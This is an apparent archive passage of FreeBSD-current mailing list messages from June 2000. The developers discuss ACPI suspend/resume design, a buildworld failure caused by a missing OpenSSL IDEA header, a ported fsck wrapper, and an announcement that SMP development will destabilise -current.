hub.freebsd.org (Postfix) with ESMTP id E266D37BCD7; Mon, 19 Jun 2000 10:02:33 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id KAA08746; Mon, 19 Jun 2000 10:07:26 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006191707.KAA08746@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Mike Smith Cc: Warner Losh , freebsd-current@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: ACPI project progress report In-reply-to: Your message of "Mon, 19 Jun 2000 09:42:10 PDT." <200006191642.JAA08637@mass.osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 19 Jun 2000 10:07:26 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > S4 requires the OS to reinitialise peripherals. Some comments I've seen > from the Linux folks suggest that we'll have to save and restore the PCI > configuration space as well. > > Basically, resume from S4 is not something that is going to be very easy > for us to implement. It'll require every S4-OK driver to re-initialise > in the resume method. (Note that we will also need to add suspend-to and > resume-from arguments to the relevant driver methods.) Hmm, this has me thinking again about suspend/resume. In the current context, can we expect a suspend veto from some function to actually DTRT? (ie. drivers that have been suspended get a resume call). Or should we make two passes over the suspend method? One with " intention to suspend at this level", the second to actually perform the suspension once the first has been accepted? This will allow non-ACPI-represented drivers to participate in determining which suspend level(s) can actually be supported by the hardware... -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 10: 5:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 31B7837BD0B; Mon, 19 Jun 2000 10:05:17 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA34869; Mon, 19 Jun 2000 11:05:15 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA61037; Mon, 19 Jun 2000 11:03:50 -0600 (MDT) Message-Id: <200006191703.LAA61037@harmony.village.org> To: Mike Smith Subject: Re: ACPI project progress report Cc: freebsd-current@freebsd.org, freebsd-hackers@freebsd.org In-reply-to: Your message of "Mon, 19 Jun 2000 10:07:26 PDT." <200006191707.KAA08746@mass.osd.bsdi.com> References: <200006191707.KAA08746@mass.osd.bsdi.com> Date: Mon, 19 Jun 2000 11:03:49 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006191707.KAA08746@mass.osd.bsdi.com> Mike Smith writes: : Hmm, this has me thinking again about suspend/resume. In the current : context, can we expect a suspend veto from some function to actually : DTRT? (ie. drivers that have been suspended get a resume call). If the BIOS allows us to do that, yes. I'm fairly sure that doug did the right thing here. The only issue that I ever ran into was that the APM bios shut the machine down anyway, even when we tried to tell it not to. Funny thing about batteries, or something like that:-) : Or should we make two passes over the suspend method? One with " : intention to suspend at this level", the second to actually perform the : suspension once the first has been accepted? No comment. : This will allow non-ACPI-represented drivers to participate in : determining which suspend level(s) can actually be supported by the : hardware... That's true. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 10:20:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 420F837BCD7; Mon, 19 Jun 2000 10:20:27 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id NAA30894; Mon, 19 Jun 2000 13:20:15 -0400 (EDT) (envelope-from wollman) Date: Mon, 19 Jun 2000 13:20:15 -0400 (EDT) From: Garrett Wollman Message-Id: <200006191720.NAA30894@khavrinen.lcs.mit.edu> To: Mike Smith Cc: Warner Losh , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <200006191707.KAA08746@mass.osd.bsdi.com> References: <200006191642.JAA08637@mass.osd.bsdi.com> <200006191707.KAA08746@mass.osd.bsdi.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > Hmm, this has me thinking again about suspend/resume. In the current > context, can we expect a suspend veto from some function to actually > DTRT? (ie. drivers that have been suspended get a resume call). That's how I originally implemented it, but I'm not sure whether that has been maintained or not. > Or should we make two passes over the suspend method? One with " > intention to suspend at this level", the second to actually perform the > suspension once the first has been accepted? I think this is a good idea, and better than my implementation. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 11:10:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from ozz.freebsd.org.ru (ozz.etrust.ru [194.84.67.11]) by hub.freebsd.org (Postfix) with ESMTP id 578F237BD32 for ; Mon, 19 Jun 2000 11:09:55 -0700 (PDT) (envelope-from osa@ozz.freebsd.org.ru) Received: (from osa@localhost) by ozz.freebsd.org.ru (8.9.3/8.9.3) id WAA28272 for current@FreeBSD.org; Mon, 19 Jun 2000 22:09:52 +0400 (MSD) (envelope-from osa) Date: Mon, 19 Jun 2000 22:09:51 +0400 From: Sergey Osokin To: current@FreeBSD.org Subject: make buildworld failed... Message-ID: <20000619220951.A28260@freebsd.org.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! After CVSuped my source, i try to buildworld and it failed... =3D=3D=3D> libssh rm -f .depend mkdep -f .depend -a -DSKEY -I/usr/obj/usr/src/i386/usr/include /usr/src= /secure/lib/libssh/../../../crypto/openssh/authfd.c /usr/src/secure/lib/lib= ssh/../../../crypto/openssh/authfile.c /usr/src/secure/lib/libssh/../../../= crypto/openssh/aux.c /usr/src/secure/lib/libssh/../../../crypto/openssh/buf= aux.c /usr/src/secure/lib/libssh/../../../crypto/openssh/buffer.c /usr/src/= secure/lib/libssh/../../../crypto/openssh/canohost.c /usr/src/secure/lib/li= bssh/../../../crypto/openssh/channels.c /usr/src/secure/lib/libssh/../../..= /crypto/openssh/cipher.c /usr/src/secure/lib/libssh/../../../crypto/openssh= /compat.c /usr/src/secure/lib/libssh/../../../crypto/openssh/compress.c /us= r/src/secure/lib/libssh/../../../crypto/openssh/crc32.c /usr/src/secure/lib= /libssh/../../../crypto/openssh/deattack.c /usr/src/secure/lib/libssh/../..= /../crypto/openssh/fingerprint.c /usr/src/secure/lib/libssh/../../../crypto= /openssh/hostfile.c /usr/src/secure/lib/libssh/../../../crypto/openssh/log.= c /usr/src/secure/lib/libssh/../../../crypto/openssh/match.c /usr/src/secur= e/lib/libssh/../../../crypto/openssh/mpaux.c /usr/src/secure/lib/libssh/../= ../../crypto/openssh/nchan.c /usr/src/secure/lib/libssh/../../../crypto/ope= nssh/packet.c /usr/src/secure/lib/libssh/../../../crypto/openssh/readpass.c= /usr/src/secure/lib/libssh/../../../crypto/openssh/rsa.c /usr/src/secure/l= ib/libssh/../../../crypto/openssh/tildexpand.c /usr/src/secure/lib/libssh/.= ./../../crypto/openssh/ttymodes.c /usr/src/secure/lib/libssh/../../../crypt= o/openssh/uidswap.c /usr/src/secure/lib/libssh/../../../crypto/openssh/xmal= loc.c /usr/src/secure/lib/libssh/../../../crypto/openssh/atomicio.c /usr/sr= c/secure/lib/libssh/../../../crypto/openssh/key.c /usr/src/secure/lib/libss= h/../../../crypto/openssh/dispatch.c /usr/src/secure/lib/libssh/../../../cr= ypto/openssh/dsa.c /usr/src/secure/lib/libssh/../../../crypto/openssh/kex.c= /usr/src/secure/lib/libssh/../../../crypto/openssh/hmac.c /usr/src/secure/= lib/libssh/../../../crypto/openssh/uuencode.c /usr/src/secure/lib/libssh/..= /../../crypto/openssh/auth-skey.c In file included from /usr/obj/usr/src/i386/usr/include/openssl/pem.h:66, from /usr/src/secure/lib/libssh/../../../crypto/openssh/au= thfile.c:24: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such= file or directory In file included from /usr/obj/usr/src/i386/usr/include/openssl/hmac.h:69, from /usr/src/secure/lib/libssh/../../../crypto/openssh/pa= cket.c:40: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such= file or directory In file included from /usr/src/secure/lib/libssh/../../../crypto/openssh/ke= y.c:40: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such= file or directory In file included from /usr/src/secure/lib/libssh/../../../crypto/openssh/ds= a.c:43: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such= file or directory In file included from /usr/obj/usr/src/i386/usr/include/openssl/pem.h:66, from /usr/src/secure/lib/libssh/../../../crypto/openssh/ke= x.c:49: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such= file or directory In file included from /usr/obj/usr/src/i386/usr/include/openssl/hmac.h:69, from /usr/src/secure/lib/libssh/../../../crypto/openssh/hm= ac.c:37: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such= file or directory mkdep: compile failed *** Error code 1 Stop in /usr/src/secure/lib/libssh. *** Error code 1 Stop in /usr/src/secure/lib. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Any idea? Rgdz, Sergey A. Osokin aka oZZ, osa@FreeBSD.ORG.ru http://www.FreeBSD.ORG.ru/~osa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 11:34:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id B7EDD37B840; Mon, 19 Jun 2000 11:34:39 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id LAA76516; Mon, 19 Jun 2000 11:34:37 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id LAA37379; Mon, 19 Jun 2000 11:34:34 -0700 (PDT) (envelope-from obrien) Date: Mon, 19 Jun 2000 11:34:34 -0700 From: "David O'Brien" To: Adrian Chadd Cc: freebsd-current@freebsd.org Subject: Re: fsck wrappers Message-ID: <20000619113434.A37336@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20000619134233.O13112@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000619134233.O13112@zoe.bastard.co.uk>; from adrian@freebsd.org on Mon, Jun 19, 2000 at 01:42:33PM +0200 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 01:42:33PM +0200, Adrian Chadd wrote: > I've ported the NetBSD fsck wrapper to compile and run under FreeBSD. Can you summerize what this does, or does better than what we do today? -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 11:37:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id 2902C37BDBD; Mon, 19 Jun 2000 11:37:23 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 1346QD-0004WJ-00; Mon, 19 Jun 2000 20:37:21 +0200 Date: Mon, 19 Jun 2000 20:37:21 +0200 From: Adrian Chadd To: David O'Brien Cc: freebsd-current@freebsd.org Subject: Re: fsck wrappers Message-ID: <20000619203721.R13112@zoe.bastard.co.uk> References: <20000619134233.O13112@zoe.bastard.co.uk> <20000619113434.A37336@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000619113434.A37336@dragon.nuxi.com>; from obrien@freebsd.org on Mon, Jun 19, 2000 at 11:34:34AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000, David O'Brien wrote: > On Mon, Jun 19, 2000 at 01:42:33PM +0200, Adrian Chadd wrote: > > I've ported the NetBSD fsck wrapper to compile and run under FreeBSD. > > Can you summerize what this does, or does better than what we do today? The idea is the same as mount and its helpers - adding new fsck types doesn't require modifying the startup scripts or fsck. Think of a system where you have an FFS fs, an LFS fs, and perhaps an IFS fs. Each one requires a seperate fsck, but it would be stupid to have fsck_* -p in the rc scripts. Eventually FreeBSD systems will have more than just FFS based filesystems running the system, and users will want to fsck them just like a FFS filesystem. adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 11:53:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id 460B437BB8C for ; Mon, 19 Jun 2000 11:53:41 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 1346fz-0004YR-00 for freebsd-current@freebsd.org; Mon, 19 Jun 2000 20:53:39 +0200 Date: Mon, 19 Jun 2000 20:53:39 +0200 From: Adrian Chadd To: freebsd-current@freebsd.org Subject: Re: fsck wrappers Message-ID: <20000619205339.S13112@zoe.bastard.co.uk> References: <20000619134233.O13112@zoe.bastard.co.uk> <20000619113434.A37336@dragon.nuxi.com> <20000619203721.R13112@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000619203721.R13112@zoe.bastard.co.uk>; from adrian@freebsd.org on Mon, Jun 19, 2000 at 08:37:21PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000, Adrian Chadd wrote: > On Mon, Jun 19, 2000, David O'Brien wrote: > > On Mon, Jun 19, 2000 at 01:42:33PM +0200, Adrian Chadd wrote: > > > I've ported the NetBSD fsck wrapper to compile and run under FreeBSD. > > > > Can you summerize what this does, or does better than what we do today? > > The idea is the same as mount and its helpers - adding new fsck types > doesn't require modifying the startup scripts or fsck. Think of a system > where you have an FFS fs, an LFS fs, and perhaps an IFS fs. Each one > requires a seperate fsck, but it would be stupid to have fsck_* -p in > the rc scripts. > > Eventually FreeBSD systems will have more than just FFS based filesystems > running the system, and users will want to fsck them just like a FFS > filesystem. Watching my machine boot, the parallel nature of this fsck is now confusing the output, eg: Automatic reboot in progress... ** /dev/ad0s1a ** Last Mounted on / ** Root file system ** Phase 1 - Check Blocks and Sizes de0: enabling 10baseT port ** Phase 2 - Check Pathnames ** Phase 3 - Check Connectivity ** Phase 4 - Check Reference Counts ** Phase 5 - Check Cyl groups 1506 files, 57594 used, 10837 free (285 frags, 1319 blocks, 0.4% fragmentation) ** /dev/amrd0a ** /dev/ad0s1f ** Last Mounted on /cache ** Phase 1 - Check Blocks and Sizes ** Last Mounted on /usr ** Phase 1 - Check Blocks and Sizes ** Phase 2 - Check Pathnames ** Phase 3 - Check Connectivity ** Phase 4 - Check Reference Counts ** Phase 5 - Check Cyl groups ** Phase 2 - Check Pathnames 98429 files, 1812888 used, 2499978 free (181498 frags, 289810 blocks, 4.2% fragmentation) .. Would people object to fsck printing out either the mountpoint or the devname (where appropriate) prepending each line of fsck_ffs ? Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 11:54:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id 71EBB37BDB7 for ; Mon, 19 Jun 2000 11:54:23 -0700 (PDT) (envelope-from jasone@magnesium.net) Received: (qmail 35568 invoked by uid 1142); 19 Jun 2000 18:54:19 -0000 Date: 19 Jun 2000 11:54:19 -0700 Date: Mon, 19 Jun 2000 11:53:30 -0700 From: Jason Evans To: current@freebsd.org Subject: HEADS UP: Destabilization due to SMP development Message-ID: <20000619115330.D79318@blitz.canonware.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Summary: -current will be destabilized for an extended period (on the order of months). A tag (not a branch) will be laid down before the initial checkin, and non-developers should either stick closely to that tag until the kernel stabilizes, or expect large doses of pain. This tag will be laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning beforehand. --- Last week, approximately 20 BSD developers got together and discussed how to move FreeBSD's SMP support to the next level. Our effort will be largely based on the work that has been done in BSD/OS, which should make things go much more smoothly than they otherwise might, but we still expect -current to be destabilized for an extended period of time. Matthew Dillon is currently working on the locking primitives, as well as some changes to the way our top-level kernel locking works. His initial code will not remove spl()s. This code will probably be committed as the first step, as soon as June 26, 00:00 PST, and Peter Wemm will lay a tag down just beforehand. We will give at least 24 hours notice before the tag is laid down. Be forewarned: if you are doing anything with -current besides FreeBSD development, you will probably want to stop tracking -current at that point for a while. Greg Lehey will be working on the initial cutover to interrupt threads (as well as the lazy interrupt thread context switching code later on). spl()s will go away as soon as interrupt threads start working. Once interrupt threads are working, most of the remaining work of threading the kernel will be able to go on in parallel. Device driver maintainers will be able to convert device drivers over a period of several months. We expect to have a compatibility shim in place initially, but there will be a hard cutoff date sometime before the release of FreeBSD 5.0 where the compatibility shim is removed. Before getting too excited about this part of the conversion to a threaded kernel, please keep in mind that 1) there will be plenty of time to do this conversion, 2) the conversion is pretty trivial for most drivers, and 3) as we get to the stage where the conversion becomes possible, there will be much more detail about how to do the conversion, as well as the working examples of the first drivers to be converted. The addition of kernel support for scheduler activations is generally a separate project, but there are some interdependencies between the SMP and scheduler activations changes, especially in the scheduler and the proc structure. There are many other SMP-related changes that will be made to the kernel that are not specifically mentioned in this email, since they are not of significant interest from a grand overview perspective. However, there are many details, and if you want to follow the technical discussions, you will want to be subscribed to at least the -current and -smp mailing lists. Finally, here are some notes about the organization of this effort. I was cajoled into acting as the manager of this effort. That doesn't mean I'm going to do all (or even a major part) of the work; it merely means I'm the focal point of communications and decisions made with regard to the project. Right now, there are at least a dozen highly capable FreeBSD developers that have taken an interest in working on this project. We, as a group, have made a number of decisions about how to attack this project. If you want to contribute to technical aspects of the project, please jump in. However, consider that the general direction we're taking with the SMP effort is the result of a number of very knowledgeable people hashing this out over a period of two days; don't expect that direction to change in the short-term. So, if you have grievances about the way this project is being run, complain to me, but please let the other developers work on this in relative peace. Jason To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 12: 9:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from morpheus.skynet.be (morpheus.skynet.be [195.238.2.39]) by hub.freebsd.org (Postfix) with ESMTP id D0A5437B7D9 for ; Mon, 19 Jun 2000 12:09:28 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [195.238.1.121] (brad.techos.skynet.be [195.238.1.121]) by morpheus.skynet.be (Postfix) with ESMTP id C6E88DAE2; Mon, 19 Jun 2000 21:09:19 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@pop.skynet.be Message-Id: In-Reply-To: <20000619115330.D79318@blitz.canonware.com> References: <20000619115330.D79318@blitz.canonware.com> Date: Mon, 19 Jun 2000 21:08:56 +0200 To: Jason Evans , current@FreeBSD.ORG From: Brad Knowles Subject: Re: HEADS UP: Destabilization due to SMP development Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:53 AM -0700 2000/6/19, Jason Evans wrote: > Last week, approximately 20 BSD developers got together and discussed how > to move FreeBSD's SMP support to the next level. Our effort will be > largely based on the work that has been done in BSD/OS, which should make > things go much more smoothly than they otherwise might, but we still expect > -current to be destabilized for an extended period of time. Wow. Cool. Way cool. My mind is already beginning to boggle, just thinking of what very little I know of what must go into a process like this.... On a totally non-technical, but somewhat related note, can anyone give me any kind of idea how often relatively "large scale" changes like this typically occur with FreeBSD? By the time I came along, I think -CURRENT was already well into 4.x, so I don't have that kind of history to fall back on. I'm just intensely curious to know how often "revolutions" of this kind of scale typically happen within this project. I can't wait to see the discussions go on with relation to all this stuff! However, if you don't mind I think I'll continue to track RELENG_4 and listen over here to get some idea of what may be ultimately coming down the pike over there for -STABLE. -- These are my opinions -- not to be taken as official Skynet policy ====================================================================== Brad Knowles, || Belgacom Skynet SA/NV Systems Architect, Mail/News/FTP/Proxy Admin || Rue Colonel Bourg, 124 Phone/Fax: +32-2-706.13.11/12.49 || B-1140 Brussels http://www.skynet.be || Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 13:35:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from postfix2.free.fr (postfix2.free.fr [212.27.32.74]) by hub.freebsd.org (Postfix) with ESMTP id B52B237B5B9 for ; Mon, 19 Jun 2000 13:35:32 -0700 (PDT) (envelope-from jaco@titine.fr.eu.org) Received: from titine.fr.eu.org (toulouse-2-6-171.dial.proxad.net [213.228.6.171]) by postfix2.free.fr (Postfix) with ESMTP id D1D617425E; Mon, 19 Jun 2000 22:35:23 +0200 (MEST) Received: by titine.fr.eu.org (Postfix, from userid 1000) id 3934714795; Mon, 19 Jun 2000 22:34:30 +0200 (CEST) X-Attribution: Jaco To: Sergey Osokin Cc: current@FreeBSD.ORG Subject: Re: make buildworld failed... References: <20000619220951.A28260@freebsd.org.ru> From: Eric Jacoboni Date: 19 Jun 2000 22:34:29 +0200 In-Reply-To: Sergey Osokin's message of "Mon, 19 Jun 2000 22:09:51 +0400" Message-ID: <87snu98l62.fsf@titine.fr.eu.org> Lines: 32 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Sergey" =3D=3D Sergey Osokin writes: Sergey> Hello! Sergey> After CVSuped my source, i try to buildworld and it failed... Sergey> =3D=3D=3D> libssh (...) Sergey> /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h:= No such file or directory Sergey> mkdep: compile failed Sergey> *** Error code 1 Sergey> Stop in /usr/src/secure/lib/libssh. Sergey> *** Error code 1 Sergey> Stop in /usr/src/secure/lib. Sergey> *** Error code 1 Sergey> Stop in /usr/src. Sergey> *** Error code 1 Sergey> Stop in /usr/src. Sergey> *** Error code 1 Same for me (fresh cvsup)... From the FAQ : "You can try to config OpenSSL so as not to use IDEA by using './config no-idea'". But i've no idea (what's a joke...) on how to do that with 'make buildworld'. No times to test any further now : it's late and i have to go to bed ;-) --=20 --------------------------------------------------------- =C9ric Jacoboni =AB No sport, cigars! =BB (W. Churchill) --------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 13:55:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id B86BA37B615 for ; Mon, 19 Jun 2000 13:55:28 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id QAA71913; Mon, 19 Jun 2000 16:55:22 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <200006192055.QAA71913@blackhelicopters.org> Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: from Brad Knowles at "Jun 19, 2000 9: 8:56 pm" To: blk@skynet.be (Brad Knowles) Date: Mon, 19 Jun 2000 16:55:21 -0400 (EDT) Cc: current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On a totally non-technical, but somewhat related note, can anyone > give me any kind of idea how often relatively "large scale" changes > like this typically occur with FreeBSD? IIRC, this is the biggest operation of its sort since 2.1. Can't comment on anything before then, I wasn't around. ==ml To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 15: 0:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id E22C837B6C4; Mon, 19 Jun 2000 15:00:47 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p21-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.22]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id GAA27407; Tue, 20 Jun 2000 06:59:28 +0900 (JST) Message-ID: <394E97F7.3660E592@newsguy.com> Date: Tue, 20 Jun 2000 07:00:23 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Bjoern Fischer Cc: Mitsuru IWASAKI , acpi-jp@jp.freebsd.org, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report References: <20000617002156A.iwasaki@jp.FreeBSD.org> <394AAE60.B6F0EE2A@newsguy.com> <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> <20000619070144.B554@broccoli.no-support.loc> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bjoern Fischer wrote: > > Just a moment. You talk about doing a `Save-to-Disk' (incl. system halt), > turning power off, maybe adding some hardware or moving the machine > to another location, then switching on again, restoring the system context, > and the machine will proceed as if nothing had happened, do you? That's what hybernation does under Windows. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 15:55:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from sr14.nsw-remote.bigpond.net.au (sr14.nsw-remote.bigpond.net.au [24.192.3.29]) by hub.freebsd.org (Postfix) with ESMTP id 43FAF37B5B0 for ; Mon, 19 Jun 2000 15:55:40 -0700 (PDT) (envelope-from areilly@nsw.bigpond.net.au) Received: from areilly.bpc-users.org (CPE-144-132-171-71.nsw.bigpond.net.au [144.132.171.71]) by sr14.nsw-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id IAA16329 for ; Tue, 20 Jun 2000 08:55:34 +1000 (EST) Received: (qmail 38927 invoked by uid 1000); 19 Jun 2000 22:55:31 -0000 From: "Andrew Reilly" Date: Tue, 20 Jun 2000 08:55:31 +1000 To: Poul-Henning Kamp Cc: Warner Losh , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000620085531.A38839@gurney.reilly.home> References: <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <45525.961432574@critter.freebsd.dk>; from phk@critter.freebsd.dk on Mon, Jun 19, 2000 at 06:36:14PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 06:36:14PM +0200, Poul-Henning Kamp wrote: > In message <200006191630.KAA60652@harmony.village.org>, Warner Losh writes: > >In message <20000620003220R.iwasaki@jp.FreeBSD.org> Mitsuru 